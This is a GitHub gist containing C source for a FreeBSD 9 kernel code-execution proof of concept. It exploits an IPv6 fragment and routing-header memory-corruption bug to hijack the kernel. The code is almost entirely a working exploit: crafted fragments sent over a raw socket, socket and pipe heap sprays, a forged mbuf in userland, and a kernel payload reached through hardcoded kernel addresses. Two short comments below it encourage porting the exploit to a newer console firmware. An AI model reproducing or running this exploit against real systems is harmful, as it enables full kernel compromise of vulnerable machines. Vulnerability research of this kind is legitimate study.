Skip to content

Instantly share code, notes, and snippets.

@sleirsgoevy
Last active March 8, 2021 15:34
Show Gist options
  • Star 35 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save sleirsgoevy/ff591bfdc3a6f7573ed2388b018b31ec to your computer and use it in GitHub Desktop.
Save sleirsgoevy/ff591bfdc3a6f7573ed2388b018b31ec to your computer and use it in GitHub Desktop.
FreeBSD 9 PoC of kernel code execution using the new TheFlow vulnerability
#include <sys/types.h>
#include <sys/param.h>
#include <sys/cpuset.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <sys/vmmeter.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <vm/vm_param.h>
#include <stdio.h>
void send_fragment(int fd, char* src, size_t off, size_t sz, int is_final)
{
unsigned char buf[0x100];
// hop-by-hop header
buf[0] = 44;
buf[1] = 0;
buf[2] = 1;
buf[3] = 4;
buf[4] = buf[5] = buf[6] = buf[7] = 0x41;
// fragment header
buf[8] = 43;
buf[9] = 0;
size_t mid = off + !is_final;
buf[10] = mid / 256;
buf[11] = mid % 256;
buf[12] = 0xde;
buf[13] = 0xad;
buf[14] = 0xbe;
buf[15] = 0xef;
for(size_t i = 0; i < sz; i++)
buf[16+i] = src[off+i];
struct sockaddr_in6 sin6 = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0xbeef,
};
sin6.sin6_addr.s6_addr[15] = 1;
sendto(fd, buf, 16+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6));
}
void build_rthdr(char* buf, int sz)
{
buf[0] = 43;
buf[1] = sz / 8 - 1;
buf[2] = 0;
buf[3] = 0;
for(size_t i = 4; i < sz; i++)
buf[i] = 0;
}
#define RTHDR_1_SZ 0x68 // MHLEN-56
#define RTHDR_2_SZ 32 // >8 to prevent double-free on second mbuf
#define FIRST_FRAGMENT_SZ 0x38
#define SPRAY_SIZE 400
#define SMALL_SPRAY_SIZE 400
#define HUGE_SPRAY_SIZE 0x2800
#define RECLAIM_THRESHOLD 10
void push_mbuf(int* socks, int i)
{
if(sendto(socks[i], &i, sizeof(i), 0, 0, 0) < 0)
printf("push_mbuf failed\n");
}
int pop_mbuf(int* socks, int i)
{
int ans = i;
recvfrom(socks[i], &ans, sizeof(ans), 0, 0, 0);
return ans;
}
int peek_mbuf(int* socks, int i)
{
int ans = i;
recvfrom(socks[i], &ans, sizeof(ans), MSG_PEEK, 0, 0);
return ans;
}
#if 0
uint16_t ip_checksum(void* buf, size_t sz, uint32_t csum)
{
uint16_t* x = (unsigned short*)buf;
for(size_t i = 0; i < sz / 2; i++)
csum += x[i];
while(csum >= 0x10000)
{
uint32_t q = csum / 0x10000;
csum %= 0x10000;
csum += q;
}
return (uint16_t)(0xffff - csum);
}
void craft_ipv4_packet(char* ans, int port, char* buf, size_t sz)
{
ans[0] = 0x45;
ans[1] = 0;
ans[2] = (sz+28)%256;
ans[3] = (sz+28)/256;
ans[4] = 0xde;
ans[5] = 0xad;
ans[6] = 0;
ans[7] = 0;
ans[8] = 64;
ans[9] = 17;
ans[10] = ans[11] = 0;
ans[12] = ans[16] = 127;
ans[13] = ans[17] = 0;
ans[14] = ans[18] = 0;
ans[15] = ans[19] = 1;
ans[20] = ans[22] = port % 256;
ans[21] = ans[23] = port / 256;
ans[24] = (sz+8)/256;
ans[25] = (sz+8)%256;
ans[26] = 0;
ans[27] = 0;
//*(uint16_t)(ans+26) = ipv4_checksum(ans+20, 8);
//*(uint16_t)(ans+10) = ipv4_checksum(ans, sz+28);
for(size_t i = 0; i < sz; i++)
ans[i+28] = buf[i];
}
void push_mbuf_r(int r, int* socks, int i)
{
struct sockaddr_in sin;
socklen_t l = sizeof(sin);
getsockname(socks[i], (struct sockaddr*)&sin, &l);
char buf[32];
craft_ipv4_packet(buf, sin.sin_port, (void*)&i, sizeof(i));
sendto(r, buf, sizeof(buf), 0, (void*)&sin, l);
}
#endif
int create_loopback(void)
{
#if 1
int sock = socket(AF_INET6, SOCK_DGRAM, 0);
struct sockaddr_in6 sin = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0,
};
sin.sin6_addr.s6_addr[15] = 1;
#else
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_addr = {0x100007f},
.sin_port = 0,
};
#endif
socklen_t sin_l = sizeof(sin);
bind(sock, (struct sockaddr*)&sin, sin_l);
getsockname(sock, (struct sockaddr*)&sin, &sin_l);
connect(sock, (struct sockaddr*)&sin, sin_l);
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK);
return sock;
}
int get_port(int fd)
{
struct sockaddr_in6 sin;
socklen_t l = sizeof(sin);
getsockname(fd, (struct sockaddr*)&sin, &l);
return sin.sin6_port;
}
asm("kexec:\nmov $11,%rax\nmov %rcx,%r10\nsyscall\nret");
void kexec(void*);
#define uma_reclaim ((void*)0xffffffff80a7c1c0)
int port_to_csum(int port)
{
int base_port = 0x0de6;
int base_csum = 0x36b1;
int csum = base_csum - 2 * (port - base_port);
csum += 0x1fffe;
csum %= 0xffff;
return csum;
}
volatile void* userland_spray(void)
{
volatile char* buf = mmap(NULL, 1L<<33, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t npages = 50000;
for(size_t i = 0; i < (1L<<33); i += 4096)
{
int checkout = 0;
if(i % 10485760 == 0)
{
checkout = 1;
printf("%lu\n", i);
}
struct vmtotal v1, v2;
struct timeval t1, t2;
int mibs[2] = {CTL_VM, VM_TOTAL};
size_t l = sizeof(v1);
if(npages < 50000 || checkout)
sysctl(mibs, 2, &v1, &l, 0, 0);
buf[i] = 123;
if(npages < 50000 || checkout)
{
sysctl(mibs, 2, &v2, &l, 0, 0);
if(v2.t_free > v1.t_free + RECLAIM_THRESHOLD)
{
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free);
break;
}
else if(v2.t_free > v1.t_free)
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free);
npages = v2.t_free;
}
}
printf("sprayed (?)\n");
//munmap(buf+(1<<30)-(1<<20), 1<<20);
return buf;
}
void pipe_spray(void)
{
char* buf = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for(size_t i = 0; i < 4096; i++)
buf[i] = 0x41;
for(int i = 0; i < HUGE_SPRAY_SIZE/2; i++)
{
int p[2];
pipe(p);
fcntl(p[1], F_SETFL, fcntl(p[1], F_GETFL) | O_NONBLOCK);
write(p[1], buf, 4096);
write(p[0], buf, 4096);
}
}
void push_jumbo(int fd)
{
char buf[2048];
for(int i = 0; i < 2048; i++)
buf[i] = 0x41;
for(int i = 0; i < 31; i++)
sendto(fd, buf, sizeof(buf), 0, 0, 0);
}
void* mmap_at(void* where, size_t sz)
{
uintptr_t addr = (uintptr_t)where;
uintptr_t end = addr + sz;
addr &= ~4095ull;
if((uintptr_t)mmap((void*)addr, end - addr, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) != addr)
{
printf("failed to mmap_at!\n");
return 0;
}
//prefault pages
unsigned char* p = where;
for(size_t i = 0; i < sz; i++)
p[i] = 0;
return where;
}
void kernel_payload(int bad_fd)
{
int(*printf)(const char*, ...) = (void*)0xffffffff8086bf90;
printf("Hello, kernel world!\n");
int****** td;
asm volatile("mov %%gs:0, %0":"=r"(td));
td[1][9][0][bad_fd][0][81] = 0; // socket->so_snd.sb_cc
td[1][9][0][bad_fd][0][83] = 0; // socket->so_snd.sb_mbcnf
void*** zone_mbuf = (void*)0xffffffff811008a0;
zone_mbuf[0][32] = zone_mbuf[0][33] = 0; //detach buckets
}
int main(void)
{
cpuset_t xxx;
CPU_ZERO(&xxx);
CPU_SET(2, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
int huge_spray[HUGE_SPRAY_SIZE];
for(int i = 0; i < HUGE_SPRAY_SIZE; i++)
huge_spray[i] = socket(AF_INET6, SOCK_DGRAM, 0);
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
int socks[SPRAY_SIZE];
for(int i = 0; i < SPRAY_SIZE; i++)
socks[i] = create_loopback();
//socketpair(AF_INET, SOCK_DGRAM, 0, socks+2*i);
int small_spray[SMALL_SPRAY_SIZE];
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
small_spray[i] = create_loopback();
char buf[RTHDR_1_SZ + RTHDR_2_SZ];
build_rthdr(buf, RTHDR_1_SZ);
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ);
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0);
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1);
nanosleep((void*)"\0\0\0\0\0\0\0\0\x10\x27\0\0\0\0\0\0", 0);
CPU_ZERO(&xxx);
CPU_SET(0, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
#define FORALL for(int i = 0; i < SPRAY_SIZE; i++)
int q;
FORALL push_mbuf(socks, i);
char delayed_pkt[20];
*(uint32_t*)(delayed_pkt+16) = 0x41414141;
send_fragment(sock, delayed_pkt, 16, 4, 1);
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
push_mbuf(small_spray, i);
int bad1 = -1, bad2 = -1;
FORALL if((q = peek_mbuf(socks, i)) != i)
{
bad1 = i;
bad2 = q;
}
if(bad1 < 0 || bad2 < 0)
{
printf("fatal: no corruption\n");
return 1;
}
build_rthdr(delayed_pkt, 8);
delayed_pkt[0] = 17; // udp
uint16_t bad1_port = get_port(socks[bad1]);
*(uint16_t*)(delayed_pkt+8) = *(uint16_t*)(delayed_pkt+10) = bad1_port;
delayed_pkt[12] = 0;
delayed_pkt[13] = 12;
*(uint16_t*)(delayed_pkt+14) = port_to_csum(bad1_port);
send_fragment(sock, delayed_pkt, 0, 16, 0);
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
pop_mbuf(socks, bad1);
pop_mbuf(socks, bad2);
/*for(int i = SPRAY_SIZE-SMALL_SPRAY_SIZE; i < SPRAY_SIZE; i++)
{
printf("%d ", i-SPRAY_SIZE);
fflush(stdout);
print_mbuf_addr(socks[i]);
}
printf("-0 ");
fflush(stdout);
print_mbuf_addr(socks[bad1]);
printf("-0 ");
fflush(stdout);
print_mbuf_addr(socks[bad2]);
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
{
printf("%d ", i);
fflush(stdout);
print_mbuf_addr(small_spray[i]);
}*/
for(int i = SMALL_SPRAY_SIZE-1; i >= 0; i--)
pop_mbuf(small_spray, i);
pop_mbuf(socks, bad1);
for(int i = SPRAY_SIZE-1; i >= 0; i--)
if(i != bad1 && i != bad2)
pop_mbuf(socks, i);
//print_mbuf_addr(socks[bad2]);
void* ul_buf = (void*)userland_spray();
unsigned char rthdr[1016];
build_rthdr((char*)rthdr, sizeof(rthdr));
rthdr[0] = 0;
rthdr[3] = rthdr[1] / 2;
rthdr[4] = 0x90;
*(uint32_t*)(rthdr+0x1c) = 0x40000; //M_NOFREE
unsigned char* mbuf_fake = mmap_at(*(void**)rthdr, 0x100);
*(uint32_t*)(mbuf_fake+0x1c) = 0x40001; //M_NOFREE|M_EXT
*(uintptr_t*)(mbuf_fake+0x58) = 0xffff800041414141ull;
*(uintptr_t*)(mbuf_fake+0x60) = (uintptr_t)&kernel_payload;
*(uintptr_t*)(mbuf_fake+0x68) = socks[bad2]; //ext_arg1
int fake_refcnt = 1;
*(void**)(mbuf_fake+0x80) = &fake_refcnt;
*(int*)(mbuf_fake+0x88) = 400;
for(int i = 256; i < sizeof(rthdr); i++)
rthdr[i] = rthdr[i % 256];
printf("crafted fake mbuf in userspace\n");
/*for(int i = 4; i < sizeof(rthdr); i++)
rthdr[i] = 0x41;*/
for(int i = 0; i < HUGE_SPRAY_SIZE; i++)
setsockopt(huge_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
for(int i = 0; i < SPRAY_SIZE; i++)
setsockopt(socks[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
setsockopt(small_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
//print_mbuf_addr(socks[bad2]);
pop_mbuf(socks, bad2);
close(socks[bad1]);
close(socks[bad2]);
printf("pwned\n");
munmap(ul_buf, 1L<<33);
return 0;
}
@amirrezaii1364
Copy link

Hoping for the leaf surprise for Algebra version 7.55 I believe in you my friend

@mohammad-re2004
Copy link

keep working 💪

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment